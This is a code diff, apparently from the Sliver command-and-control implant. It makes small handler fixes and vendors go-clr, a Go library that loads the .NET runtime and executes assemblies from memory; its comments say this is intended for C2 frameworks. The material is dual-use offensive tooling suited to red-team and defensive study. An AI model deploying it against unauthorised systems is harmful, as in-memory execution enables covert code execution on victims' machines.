@@ -1092,8 +1115,10 @@ golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220207234003-57398862261d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86 h1:A9i04dxx7Cribqbs8jf3FQLogkL/CV2YN7hj9KWJCkc=
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64 h1:UiNENfZ8gDvpiWw7IpOMQ27spWmThO1RwwdQVbJahJM=
+golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
diff --git a/implant/sliver/handlers/handlers.go b/implant/sliver/handlers/handlers.go
index 56b910b8e1..45bbd606a4 100644
--- a/implant/sliver/handlers/handlers.go
+++ b/implant/sliver/handlers/handlers.go
@@ -593,6 +593,9 @@ func executeHandler(data []byte, resp RPCResponse) {
Err: fmt.Sprintf("%s", err),
}
}
+ if cmd.Process != nil {
+ execResp.Pid = uint32(cmd.Process.Pid)
+ }
}
data, err = proto.Marshal(execResp)
resp(data, err)
diff --git a/implant/sliver/ps/ps_darwin.go b/implant/sliver/ps/ps_darwin.go
index 335f35b1e7..19b973fd42 100644
--- a/implant/sliver/ps/ps_darwin.go
+++ b/implant/sliver/ps/ps_darwin.go
@@ -1,3 +1,4 @@
+//go:build darwin
// +build darwin
package ps
@@ -90,6 +91,7 @@ func processes() ([]Process, error) {
pCommReader := bytes.NewBuffer(pComm)
binPath, _ = pCommReader.ReadString(0x00)
}
+ binPath = strings.TrimSuffix(binPath, "\x00") // Trim the null byte
// Discard the error: if the call errors out, we'll just have an empty argv slice
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
diff --git a/vendor/github.com/Ne0nd0g/go-clr/.gitignore b/vendor/github.com/Ne0nd0g/go-clr/.gitignore
new file mode 100644
index 0000000000..8cfdfd9e5d
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/.gitignore
@@ -0,0 +1,7 @@
+.idea
+__handlers__
+*.exe
+*.dll
+*.cs
+scratch/
+static/
\ No newline at end of file
diff --git a/vendor/github.com/Ne0nd0g/go-clr/LICENSE b/vendor/github.com/Ne0nd0g/go-clr/LICENSE
new file mode 100644
index 0000000000..9042c25eda
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/LICENSE
@@ -0,0 +1,13 @@
+ DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
+ Version 2, December 2004
+
+ Copyright (C) 2004 Sam Hocevar
+
+ Everyone is permitted to copy and distribute verbatim or modified
+ copies of this license document, and changing it is allowed as long
+ as the name is changed.
+
+ DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
+ TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+ 0. You just DO WHAT THE FUCK YOU WANT TO.
diff --git a/vendor/github.com/Ne0nd0g/go-clr/README.md b/vendor/github.com/Ne0nd0g/go-clr/README.md
new file mode 100644
index 0000000000..f02881556b
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/README.md
@@ -0,0 +1,69 @@
+# go-clr
+[![GoDoc](https://godoc.org/github.com/ropnop/go-clr?status.svg)](https://godoc.org/github.com/ropnop/go-clr)
+
+This is my PoC code for hosting the CLR in a Go process and using it to execute a DLL from disk or an assembly from memory.
+
+It's written in pure Go by just wrapping the needed syscalls and making use of a lot of unsafe.Pointers to
+load structs from memory.
+
+For more info and references, see [this blog post](https://blog.ropnop.com/hosting-clr-in-golang/).
+
+This was was a fun project and proof of concept, but the code is definitely not "production ready". It makes heavy use
+of `unsafe` and it's probably very unstable. I don't plan on supporting it much moving forward,
+but I wanted to share the code and knowledge to enable others to either contribute, or fork and make their own awesome tools.
+
+## Installation and Usage
+`go-clr` is intended to be used as a package in other scripts. Install it with:
+```bash
+go get github.com/ropnop/go-clr
+```
+
+Take a look at the [examples](./examples) folder for some examples on how to leverage it. The package exposes all the structs and methods
+necessary to customize, but it also includes two "magic" functions to execute .NET from Go: `ExecuteDLLFromDisk` and
+`ExecuteByteArray`. Here's a quick example of using both:
+
+```go
+package main
+
+import (
+ clr "github.com/ropnop/go-clr"
+ "log"
+ "fmt"
+ "io/ioutil"
+ "runtime"
+)
+
+func main() {
+ fmt.Println("[+] Loading DLL from Disk")
+ ret, err := clr.ExecuteDLLFromDisk(
+ "TestDLL.dll",
+ "TestDLL.HelloWorld",
+ "SayHello",
+ "foobar")
+ if err != nil {
+ log.Fatal(err)
+ }
+ fmt.Printf("[+] DLL Return Code: %d\n", ret)
+
+
+ fmt.Println("[+] Executing EXE from memory")
+ exebytes, err := ioutil.ReadFile("helloworld.exe")
+ if err != nil {
+ log.Fatal(err)
+ }
+ runtime.KeepAlive(exebytes)
+
+ ret2, err := clr.ExecuteByteArray(exebytes)
+ if err != nil {
+ log.Fatal(err)
+ }
+ fmt.Printf("[+] EXE Return Code: %d\n", ret2)
+}
+```
+
+The other 2 examples show the same technique but without the magic functions.
+
+### License
+This project is licensed under the [Do What the Fuck You Want to Public License](http://www.wtfpl.net/). I deliberately
+chose this "joke" license because I really don't think anyone should be using this for anything serious, and I know
+some organizations forbid this license from being used in products (which is a good thing).
\ No newline at end of file
diff --git a/vendor/github.com/Ne0nd0g/go-clr/appdomain.go b/vendor/github.com/Ne0nd0g/go-clr/appdomain.go
new file mode 100644
index 0000000000..3a27058481
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/appdomain.go
@@ -0,0 +1,212 @@
+//go:build windows
+
+package clr
+
+import (
+ "fmt"
+ "syscall"
+ "unsafe"
+
+ "golang.org/x/sys/windows"
+)
+
+// AppDomain is a Windows COM object interface pointer for the .NET AppDomain class.
+// The AppDomain object represents an application domain, which is an isolated environment where applications execute.
+// This structure only contains a pointer to the AppDomain's virtual function table
+// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
+type AppDomain struct {
+ vtbl *AppDomainVtbl
+}
+
+// AppDomainVtbl is a Virtual Function Table for the AppDomain COM interface
+// The Virtual Function Table contains pointers to the COM IUnkown interface
+// functions (QueryInterface, AddRef, & Release) as well as the AppDomain object's methods
+// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
+type AppDomainVtbl struct {
+ QueryInterface uintptr
+ AddRef uintptr
+ Release uintptr
+ GetTypeInfoCount uintptr
+ GetTypeInfo uintptr
+ GetIDsOfNames uintptr
+ Invoke uintptr
+ get_ToString uintptr
+ Equals uintptr
+ GetHashCode uintptr
+ GetType uintptr
+ InitializeLifetimeService uintptr
+ GetLifetimeService uintptr
+ get_Evidence uintptr
+ add_DomainUnload uintptr
+ remove_DomainUnload uintptr
+ add_AssemblyLoad uintptr
+ remove_AssemblyLoad uintptr
+ add_ProcessExit uintptr
+ remove_ProcessExit uintptr
+ add_TypeResolve uintptr
+ remove_TypeResolve uintptr
+ add_ResourceResolve uintptr
+ remove_ResourceResolve uintptr
+ add_AssemblyResolve uintptr
+ remove_AssemblyResolve uintptr
+ add_UnhandledException uintptr
+ remove_UnhandledException uintptr
+ DefineDynamicAssembly uintptr
+ DefineDynamicAssembly_2 uintptr
+ DefineDynamicAssembly_3 uintptr
+ DefineDynamicAssembly_4 uintptr
+ DefineDynamicAssembly_5 uintptr
+ DefineDynamicAssembly_6 uintptr
+ DefineDynamicAssembly_7 uintptr
+ DefineDynamicAssembly_8 uintptr
+ DefineDynamicAssembly_9 uintptr
+ CreateInstance uintptr
+ CreateInstanceFrom uintptr
+ CreateInstance_2 uintptr
+ CreateInstanceFrom_2 uintptr
+ CreateInstance_3 uintptr
+ CreateInstanceFrom_3 uintptr
+ Load uintptr
+ Load_2 uintptr
+ Load_3 uintptr
+ Load_4 uintptr
+ Load_5 uintptr
+ Load_6 uintptr
+ Load_7 uintptr
+ ExecuteAssembly uintptr
+ ExecuteAssembly_2 uintptr
+ ExecuteAssembly_3 uintptr
+ get_FriendlyName uintptr
+ get_BaseDirectory uintptr
+ get_RelativeSearchPath uintptr
+ get_ShadowCopyFiles uintptr
+ GetAssemblies uintptr
+ AppendPrivatePath uintptr
+ ClearPrivatePath uintptr
+ SetShadowCopyPath uintptr
+ ClearShadowCopyPath uintptr
+ SetCachePath uintptr
+ SetData uintptr
+ GetData uintptr
+ SetAppDomainPolicy uintptr
+ SetThreadPrincipal uintptr
+ SetPrincipalPolicy uintptr
+ DoCallBack uintptr
+ get_DynamicDirectory uintptr
+}
+
+// GetAppDomain is a wrapper function that returns an appDomain from an existing ICORRuntimeHost object
+func GetAppDomain(runtimeHost *ICORRuntimeHost) (appDomain *AppDomain, err error) {
+ debugPrint("Entering into appdomain.GetAppDomain()...")
+ iu, err := runtimeHost.GetDefaultDomain()
+ if err != nil {
+ return
+ }
+ err = iu.QueryInterface(IID_AppDomain, unsafe.Pointer(&appDomain))
+ return
+}
+
+func (obj *AppDomain) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
+ debugPrint("Entering into appdomain.QueryInterface()...")
+ ret, _, _ := syscall.Syscall(
+ obj.vtbl.QueryInterface,
+ 3,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(riid)),
+ uintptr(unsafe.Pointer(ppvObject)))
+ return ret
+}
+
+func (obj *AppDomain) AddRef() uintptr {
+ ret, _, _ := syscall.Syscall(
+ obj.vtbl.AddRef,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0)
+ return ret
+}
+
+func (obj *AppDomain) Release() uintptr {
+ ret, _, _ := syscall.Syscall(
+ obj.vtbl.Release,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0)
+ return ret
+}
+
+// GetHashCode serves as the default hash function.
+// https://docs.microsoft.com/en-us/dotnet/api/system.object.gethashcode?view=netframework-4.8#System_Object_GetHashCode
+func (obj *AppDomain) GetHashCode() (int32, error) {
+ debugPrint("Entering into appdomain.GetHashCode()...")
+ ret, _, err := syscall.Syscall(
+ obj.vtbl.GetHashCode,
+ 2,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0,
+ )
+ if err != syscall.Errno(0) {
+ return 0, fmt.Errorf("the appdomain.GetHashCode function returned an error:\r\n%s", err)
+ }
+ // Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
+ return int32(ret), nil
+}
+
+// Load_3 Loads an Assembly into this application domain.
+// virtual HRESULT __stdcall Load_3 (
+// /*[in]*/ SAFEARRAY * rawAssembly,
+// /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0;
+// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-5.0
+func (obj *AppDomain) Load_3(rawAssembly *SafeArray) (assembly *Assembly, err error) {
+ debugPrint("Entering into appdomain.Load_3()...")
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.Load_3,
+ 3,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(rawAssembly)),
+ uintptr(unsafe.Pointer(&assembly)),
+ )
+
+ if err != syscall.Errno(0) {
+ if err != syscall.Errno(1150) {
+ return
+ }
+ }
+
+ if hr != S_OK {
+ err = fmt.Errorf("the appdomain.Load_3 function returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+ err = nil
+
+ return
+}
+
+// ToString Obtains a string representation that includes the friendly name of the application domain and any context policies.
+// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.tostring?view=net-5.0#System_AppDomain_ToString
+func (obj *AppDomain) ToString() (domain string, err error) {
+ debugPrint("Entering into appdomain.ToString()...")
+ var pDomain *string
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.get_ToString,
+ 2,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(&pDomain)),
+ 0,
+ )
+
+ if err != syscall.Errno(0) {
+ err = fmt.Errorf("the AppDomain.ToString method retured an error:\r\n%s", err)
+ return
+ }
+ if hr != S_OK {
+ err = fmt.Errorf("the AppDomain.ToString method returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+ err = nil
+ domain = ReadUnicodeStr(unsafe.Pointer(pDomain))
+ return
+}
diff --git a/vendor/github.com/Ne0nd0g/go-clr/assembly.go b/vendor/github.com/Ne0nd0g/go-clr/assembly.go
new file mode 100644
index 0000000000..0e9c693907
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/assembly.go
@@ -0,0 +1,129 @@
+// +build windows
+
+package clr
+
+import (
+ "fmt"
+ "syscall"
+ "unsafe"
+
+ "golang.org/x/sys/windows"
+)
+
+// from mscorlib.tlh
+
+type Assembly struct {
+ vtbl *AssemblyVtbl
+}
+
+// AssemblyVtbl is a COM virtual table of functions for the Assembly Class
+// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly?view=netframework-4.8
+type AssemblyVtbl struct {
+ QueryInterface uintptr
+ AddRef uintptr
+ Release uintptr
+ GetTypeInfoCount uintptr
+ GetTypeInfo uintptr
+ GetIDsOfNames uintptr
+ Invoke uintptr
+ get_ToString uintptr
+ Equals uintptr
+ GetHashCode uintptr
+ GetType uintptr
+ get_CodeBase uintptr
+ get_EscapedCodeBase uintptr
+ GetName uintptr
+ GetName_2 uintptr
+ get_FullName uintptr
+ get_EntryPoint uintptr
+ GetType_2 uintptr
+ GetType_3 uintptr
+ GetExportedTypes uintptr
+ GetTypes uintptr
+ GetManifestResourceStream uintptr
+ GetManifestResourceStream_2 uintptr
+ GetFile uintptr
+ GetFiles uintptr
+ GetFiles_2 uintptr
+ GetManifestResourceNames uintptr
+ GetManifestResourceInfo uintptr
+ get_Location uintptr
+ get_Evidence uintptr
+ GetCustomAttributes uintptr
+ GetCustomAttributes_2 uintptr
+ IsDefined uintptr
+ GetObjectData uintptr
+ add_ModuleResolve uintptr
+ remove_ModuleResolve uintptr
+ GetType_4 uintptr
+ GetSatelliteAssembly uintptr
+ GetSatelliteAssembly_2 uintptr
+ LoadModule uintptr
+ LoadModule_2 uintptr
+ CreateInstance uintptr
+ CreateInstance_2 uintptr
+ CreateInstance_3 uintptr
+ GetLoadedModules uintptr
+ GetLoadedModules_2 uintptr
+ GetModules uintptr
+ GetModules_2 uintptr
+ GetModule uintptr
+ GetReferencedAssemblies uintptr
+ get_GlobalAssemblyCache uintptr
+}
+
+func (obj *Assembly) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
+ ret, _, _ := syscall.Syscall(
+ obj.vtbl.QueryInterface,
+ 3,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(riid)),
+ uintptr(unsafe.Pointer(ppvObject)))
+ return ret
+}
+
+func (obj *Assembly) AddRef() uintptr {
+ ret, _, _ := syscall.Syscall(
+ obj.vtbl.AddRef,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0)
+ return ret
+}
+
+func (obj *Assembly) Release() uintptr {
+ ret, _, _ := syscall.Syscall(
+ obj.vtbl.Release,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0)
+ return ret
+}
+
+// GetEntryPoint returns the assembly's MethodInfo
+// virtual HRESULT __stdcall get_EntryPoint (
+// /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0;
+// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.entrypoint?view=netframework-4.8#System_Reflection_Assembly_EntryPoint
+// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=netframework-4.8
+func (obj *Assembly) GetEntryPoint() (pRetVal *MethodInfo, err error) {
+ debugPrint("Entering into assembly.GetEntryPoint()...")
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.get_EntryPoint,
+ 2,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(&pRetVal)),
+ 0,
+ )
+ if err != syscall.Errno(0) {
+ err = fmt.Errorf("the Assembly::GetEntryPoint method returned an error:\r\n%s", err)
+ return
+ }
+ if hr != S_OK {
+ err = fmt.Errorf("the Assembly::GetEntryPoint method returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+ err = nil
+ return
+}
diff --git a/vendor/github.com/Ne0nd0g/go-clr/go-clr.go b/vendor/github.com/Ne0nd0g/go-clr/go-clr.go
new file mode 100644
index 0000000000..05e3ee0533
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/go-clr.go
@@ -0,0 +1,367 @@
+// +build windows
+
+// go-clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
+// execute a managed DLL from disk or a managed EXE from memory
+package clr
+
+import (
+ "fmt"
+ "strings"
+ "syscall"
+ "unsafe"
+)
+
+// GetInstallRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
+func GetInstalledRuntimes(metahost *ICLRMetaHost) ([]string, error) {
+ var runtimes []string
+ enumICLRRuntimeInfo, err := metahost.EnumerateInstalledRuntimes()
+ if err != nil {
+ return runtimes, err
+ }
+
+ var hr int
+ for hr != S_FALSE {
+ var runtimeInfo *ICLRRuntimeInfo
+ var fetched = uint32(0)
+ hr, err = enumICLRRuntimeInfo.Next(1, unsafe.Pointer(&runtimeInfo), &fetched)
+ if err != nil {
+ return runtimes, fmt.Errorf("InstalledRuntimes Next Error:\r\n%s\n", err)
+ }
+ if hr == S_FALSE {
+ break
+ }
+ // Only release if an interface pointer was returned
+ runtimeInfo.Release()
+
+ version, err := runtimeInfo.GetVersionString()
+ if err != nil {
+ return runtimes, err
+ }
+ runtimes = append(runtimes, version)
+ }
+ if len(runtimes) == 0 {
+ return runtimes, fmt.Errorf("Could not find any installed runtimes")
+ }
+ return runtimes, err
+}
+
+// ExecuteDLLFromDisk is a wrapper function that will automatically load the latest installed CLR into the current process
+// and execute a DLL on disk in the default app domain. It takes in the target runtime, DLLPath, TypeName, MethodName
+// and Argument to use as strings. It returns the return code from the assembly
+func ExecuteDLLFromDisk(targetRuntime, dllpath, typeName, methodName, argument string) (retCode int16, err error) {
+ retCode = -1
+ if targetRuntime == "" {
+ targetRuntime = "v4"
+ }
+ metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
+ if err != nil {
+ return
+ }
+
+ runtimes, err := GetInstalledRuntimes(metahost)
+ if err != nil {
+ return
+ }
+ var latestRuntime string
+ for _, r := range runtimes {
+ if strings.Contains(r, targetRuntime) {
+ latestRuntime = r
+ break
+ } else {
+ latestRuntime = r
+ }
+ }
+ runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
+ if err != nil {
+ return
+ }
+
+ isLoadable, err := runtimeInfo.IsLoadable()
+ if err != nil {
+ return
+ }
+ if !isLoadable {
+ return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime)
+ }
+ runtimeHost, err := GetICLRRuntimeHost(runtimeInfo)
+ if err != nil {
+ return
+ }
+
+ pDLLPath, err := syscall.UTF16PtrFromString(dllpath)
+ must(err)
+ pTypeName, err := syscall.UTF16PtrFromString(typeName)
+ must(err)
+ pMethodName, err := syscall.UTF16PtrFromString(methodName)
+ must(err)
+ pArgument, err := syscall.UTF16PtrFromString(argument)
+ must(err)
+
+ ret, err := runtimeHost.ExecuteInDefaultAppDomain(pDLLPath, pTypeName, pMethodName, pArgument)
+ must(err)
+ if *ret != 0 {
+ return int16(*ret), fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero return value: %d", *ret)
+ }
+
+ runtimeHost.Release()
+ runtimeInfo.Release()
+ metahost.Release()
+ return 0, nil
+}
+
+// ExecuteByteArray is a wrapper function that will automatically loads the supplied target framework into the current
+// process using the legacy APIs, then load and execute an executable from memory. If no targetRuntime is specified, it
+// will default to latest. It takes in a byte array of the executable to load and run and returns the return code.
+// You can supply an array of strings as command line arguments.
+func ExecuteByteArray(targetRuntime string, rawBytes []byte, params []string) (retCode int32, err error) {
+ retCode = -1
+ if targetRuntime == "" {
+ targetRuntime = "v4"
+ }
+ metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
+ if err != nil {
+ return
+ }
+
+ runtimes, err := GetInstalledRuntimes(metahost)
+ if err != nil {
+ return
+ }
+ var latestRuntime string
+ for _, r := range runtimes {
+ if strings.Contains(r, targetRuntime) {
+ latestRuntime = r
+ break
+ } else {
+ latestRuntime = r
+ }
+ }
+ runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
+ if err != nil {
+ return
+ }
+
+ isLoadable, err := runtimeInfo.IsLoadable()
+ if err != nil {
+ return
+ }
+ if !isLoadable {
+ return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime)
+ }
+ runtimeHost, err := GetICORRuntimeHost(runtimeInfo)
+ if err != nil {
+ return
+ }
+ appDomain, err := GetAppDomain(runtimeHost)
+ if err != nil {
+ return
+ }
+ safeArrayPtr, err := CreateSafeArray(rawBytes)
+ if err != nil {
+ return
+ }
+
+ assembly, err := appDomain.Load_3(safeArrayPtr)
+ if err != nil {
+ return
+ }
+
+ methodInfo, err := assembly.GetEntryPoint()
+ if err != nil {
+ return
+ }
+
+ var paramSafeArray *SafeArray
+ methodSignature, err := methodInfo.GetString()
+ if err != nil {
+ return
+ }
+
+ if expectsParams(methodSignature) {
+ if paramSafeArray, err = PrepareParameters(params); err != nil {
+ return
+ }
+ }
+
+ nullVariant := Variant{
+ VT: 1,
+ Val: uintptr(0),
+ }
+ err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
+ if err != nil {
+ return
+ }
+ appDomain.Release()
+ runtimeHost.Release()
+ runtimeInfo.Release()
+ metahost.Release()
+ return 0, nil
+}
+
+// LoadCLR loads the target runtime into the current process and returns the runtimehost
+// The intended purpose is for the runtimehost to be reused for subsequent operations
+// throught the duration of the program. Commonly used with C2 frameworks
+func LoadCLR(targetRuntime string) (runtimeHost *ICORRuntimeHost, err error) {
+ if targetRuntime == "" {
+ targetRuntime = "v4"
+ }
+
+ metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
+ if err != nil {
+ return runtimeHost, fmt.Errorf("there was an error enumerating the installed CLR runtimes:\n%s", err)
+ }
+
+ runtimes, err := GetInstalledRuntimes(metahost)
+ debugPrint(fmt.Sprintf("Installed Runtimes: %v", runtimes))
+ if err != nil {
+ return
+ }
+ var latestRuntime string
+ for _, r := range runtimes {
+ if strings.Contains(r, targetRuntime) {
+ latestRuntime = r
+ break
+ } else {
+ latestRuntime = r
+ }
+ }
+ runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
+ if err != nil {
+ return
+ }
+
+ isLoadable, err := runtimeInfo.IsLoadable()
+ if err != nil {
+ return
+ }
+ if !isLoadable {
+ err = fmt.Errorf("%s is not loadable for some reason", latestRuntime)
+ }
+
+ return GetICORRuntimeHost(runtimeInfo)
+}
+
+// ExecuteByteArrayDefaultDomain uses a previously instantiated runtimehost, gets the default AppDomain,
+// loads the assembly into, executes the assembly, and then releases AppDomain
+// Intended to be used by C2 frameworks to quickly execute an assembly one time
+func ExecuteByteArrayDefaultDomain(runtimeHost *ICORRuntimeHost, rawBytes []byte, params []string) (stdout string, stderr string) {
+ appDomain, err := GetAppDomain(runtimeHost)
+ if err != nil {
+ stderr = err.Error()
+ return
+ }
+ safeArrayPtr, err := CreateSafeArray(rawBytes)
+ if err != nil {
+ stderr = err.Error()
+ return
+ }
+
+ assembly, err := appDomain.Load_3(safeArrayPtr)
+ if err != nil {
+ stderr = err.Error()
+ return
+ }
+
+ methodInfo, err := assembly.GetEntryPoint()
+ if err != nil {
+ stderr = err.Error()
+ return
+ }
+
+ var paramSafeArray *SafeArray
+ methodSignature, err := methodInfo.GetString()
+ if err != nil {
+ stderr = err.Error()
+ return
+ }
+
+ if expectsParams(methodSignature) {
+ if paramSafeArray, err = PrepareParameters(params); err != nil {
+ stderr = err.Error()
+ return
+ }
+ }
+
+ nullVariant := Variant{
+ VT: 1,
+ Val: uintptr(0),
+ }
+
+ err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
+ if err != nil {
+ stderr = err.Error()
+ return
+ }
+
+ assembly.Release()
+ appDomain.Release()
+ return
+}
+
+// LoadAssembly uses a previously instantiated runtimehost and loads an assembly into the default AppDomain
+// and returns the assembly's methodInfo structure. The intended purpose is for the assembly to be loaded
+// once but executed many times throught the duration of the program. Commonly used with C2 frameworks
+func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *MethodInfo, err error) {
+ appDomain, err := GetAppDomain(runtimeHost)
+ if err != nil {
+ return
+ }
+ safeArrayPtr, err := CreateSafeArray(rawBytes)
+ if err != nil {
+ return
+ }
+
+ assembly, err := appDomain.Load_3(safeArrayPtr)
+ if err != nil {
+ return
+ }
+ return assembly.GetEntryPoint()
+}
+
+// InvokeAssembly uses the MethodInfo structure of a previously loaded assembly and executes it.
+// The intended purpose is for the assembly to be executed many times throught the duration of the
+// program. Commonly used with C2 frameworks
+func InvokeAssembly(methodInfo *MethodInfo, params []string) (stdout string, stderr string) {
+ var paramSafeArray *SafeArray
+ methodSignature, err := methodInfo.GetString()
+ if err != nil {
+ stderr = err.Error()
+ return
+ }
+
+ if expectsParams(methodSignature) {
+ if paramSafeArray, err = PrepareParameters(params); err != nil {
+ stderr = err.Error()
+ return
+ }
+ }
+
+ nullVariant := Variant{
+ VT: 1,
+ Val: uintptr(0),
+ }
+
+ defer SafeArrayDestroy(paramSafeArray)
+
+ // Ensure exclusive access to read/write STDOUT/STDERR
+ mutex.Lock()
+ defer mutex.Unlock()
+
+ err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
+ if err != nil {
+ stderr = err.Error()
+ // Don't return because there could be data on STDOUT/STDERR
+ }
+
+ // Read data from previously redirected STDOUT/STDERR
+ if wSTDOUT != nil {
+ var e string
+ stdout, e, err = ReadStdoutStderr()
+ stderr += e
+ if err != nil {
+ stderr += err.Error()
+ }
+ }
+
+ return
+}
diff --git a/vendor/github.com/Ne0nd0g/go-clr/guids.go b/vendor/github.com/Ne0nd0g/go-clr/guids.go
new file mode 100644
index 0000000000..3727ea077c
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/guids.go
@@ -0,0 +1,22 @@
+// +build windows
+
+package clr
+
+import (
+ "golang.org/x/sys/windows"
+)
+
+var (
+ CLSID_CLRMetaHost = windows.GUID{Data1: 0x9280188d, Data2: 0x0e8e, Data3: 0x4867, Data4: [8]byte{0xb3, 0x0c, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde}}
+ IID_ICLRMetaHost = windows.GUID{Data1: 0xD332DB9E, Data2: 0xB9B3, Data3: 0x4125, Data4: [8]byte{0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16}}
+ IID_ICLRRuntimeInfo = windows.GUID{Data1: 0xBD39D1D2, Data2: 0xBA2F, Data3: 0x486a, Data4: [8]byte{0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91}}
+ CLSID_CLRRuntimeHost = windows.GUID{Data1: 0x90F1A06E, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}}
+ IID_ICLRRuntimeHost = windows.GUID{Data1: 0x90F1A06C, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}}
+ IID_ICorRuntimeHost = windows.GUID{Data1: 0xcb2f6722, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}
+ CLSID_CorRuntimeHost = windows.GUID{Data1: 0xcb2f6723, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}
+ IID_AppDomain = windows.GUID{Data1: 0x05f696dc, Data2: 0x2b29, Data3: 0x3663, Data4: [8]byte{0xad, 0x8b, 0xc4, 0x38, 0x9c, 0xf2, 0xa7, 0x13}}
+ // IID_IErrorInfo is the interface ID for the Error interface 1CF2B120-547D-101B-8E65-08002B2BD119
+ IID_IErrorInfo = windows.GUID{Data1: 0x1cf2b120, Data2: 0x547d, Data3: 0x101b, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
